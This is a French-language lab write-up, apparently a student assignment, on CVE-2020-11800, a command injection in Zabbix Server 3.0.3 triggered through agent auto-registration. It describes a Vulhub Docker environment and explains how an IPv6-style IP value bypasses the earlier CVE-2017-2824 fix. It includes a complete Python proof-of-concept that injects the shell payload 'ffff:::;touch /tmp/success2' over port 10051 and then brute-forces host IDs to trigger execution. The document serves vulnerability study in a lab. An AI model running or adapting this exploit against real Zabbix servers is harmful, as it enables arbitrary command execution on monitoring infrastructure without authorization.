
Exploit PoC pour CVE-2020-11800, une injection de commande dans Zabbix Server via l'auto-enregistrement d'un agent malveillant, avec livraison de payload en Python et brute-force de l'ID de l'hôte.
Les sections requises par les directives de l'affectation sont marquées avec « (Required) ».
Cet environnement utilise un Dockerfile personnalisé basé sur l'image vulnérable du serveur Zabbix fournie par Vulhub.
FROM vulhub/zabbix:3.0.3-server
Le Dockerfile construit une image locale basée sur l'environnement vulnérable du serveur Zabbix 3.0.3. Aucun paquet ni configuration supplémentaire n'a été ajouté pendant le processus de construction.
L'environnement vulnérable est configuré à l'aide de Docker Compose.
L'environnement se compose de quatre services :
Le service server est construit localement à l'aide du Dockerfile :
server:
build: .
image: cve-2020-11800-server
Le conteneur MySQL importe automatiquement les fichiers d'initialisation SQL depuis le répertoire src/ à l'aide du montage de volume :
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Cela permet au schéma de la base de données et aux données Zabbix initiales d'être chargés automatiquement au démarrage du conteneur.
L'environnement fonctionne selon la structure suivante :
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Fournit l'interface de gestion web accessible via le navigateur.
L'administrateur configure l'auto-enregistrement et exécute les opérations liées à la surveillance via cette interface.
Le composant central responsable de :
La vulnérabilité d'injection de commandes est déclenchée à l'intérieur de ce conteneur.
Agit en tant qu'hôte surveillé et communique avec le serveur Zabbix.
L'exploit abuse du mécanisme d'auto-enregistrement pendant le processus d'enregistrement de l'agent.
Stocke les données de configuration Zabbix, les informations sur les hôtes et les données liées à la surveillance.
| Service | Image | Version |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
L'environnement est basé sur l'environnement vulnérable Zabbix 3.0.3 fourni par Vulhub.
CVE-2020-11800 est une vulnérabilité d'injection de commandes dans la fonctionnalité Active Proxy Trapper du serveur Zabbix.
La vulnérabilité existe parce que le correctif de CVE-2017-2824 était incomplet. Un attaquant peut contourner le correctif d'origine à l'aide d'une charge utile de type IPv6 et exécuter des commandes arbitraires sur le serveur Zabbix.
La vulnérabilité est déclenchée pendant le processus d'auto-enregistrement lorsque le serveur traite des informations d'hôte contrôlées par l'utilisateur.
La cause racine de la vulnérabilité est le traitement non sécurisé d'entrées contrôlées par l'utilisateur dans les commandes shell.
Pendant l'exécution des scripts, le serveur Zabbix utilise la valeur IP de l'hôte enregistré pour construire des commandes telles que :
ping <host_ip>
Dans des conditions normales :
ping 127.0.0.1
Cependant, si un attaquant enregistre un hôte en utilisant la charge utile suivante :
ffff:::;touch /tmp/success2
la commande finale exécutée par le shell devient :
ping ffff:::;touch /tmp/success2
Parce que le point-virgule (;) agit comme un séparateur de commandes shell, le shell interprète l'entrée comme deux commandes distinctes :
ping ffff:::
touch /tmp/success2
Par conséquent, l'exécution de commandes arbitraires devient possible.
Le correctif d'origine de CVE-2017-2824 tentait de restreindre les valeurs d'entrée malveillantes.
Cependant, la logique de validation ne gérait pas correctement les entrées de type IPv6.
La charge utile :
ffff:::;touch /tmp/success2
utilise un préfixe de type IPv6 (ffff:::) pour contourner la logique de validation existante tout en injectant des métacaractères shell.
Cela permet aux attaquants de contourner le correctif précédent et de continuer à exploiter la vulnérabilité d'injection de commandes.
Le processus d'exploitation se déroule dans l'ordre suivant :
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
L'attaquant envoie d'abord une demande d'auto-enregistrement malveillante contenant un champ IP spécialement conçu.
Après l'enregistrement de l'hôte, le serveur Zabbix exécute un script de surveillance en utilisant la valeur IP de l'hôte stockée.
Pendant ce processus, la charge utile malveillante est interprétée par le shell, ce qui conduit à l'exécution de commandes arbitraires.
L'exploit permet aux attaquants d'exécuter des commandes arbitraires avec les privilèges du processus du serveur Zabbix.
Dans cet environnement, une exploitation réussie a créé le fichier suivant dans le conteneur du serveur :
/tmp/success2
Cela confirme que les commandes shell injectées ont été exécutées avec succès.
Dans un environnement réel, une exploitation réussie pourrait permettre aux attaquants de :
La vulnérabilité est particulièrement dangereuse car les serveurs de surveillance ont souvent une visibilité sur plusieurs systèmes internes et composants d'infrastructure.
La preuve de concept (PoC) a été écrite en Python et communique directement avec le serveur Zabbix sur le port TCP 10051.
Le PoC effectue les actions suivantes :
hostid validesimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
La charge utile utilisée dans ce PoC est :
ffff:::;touch /tmp/success2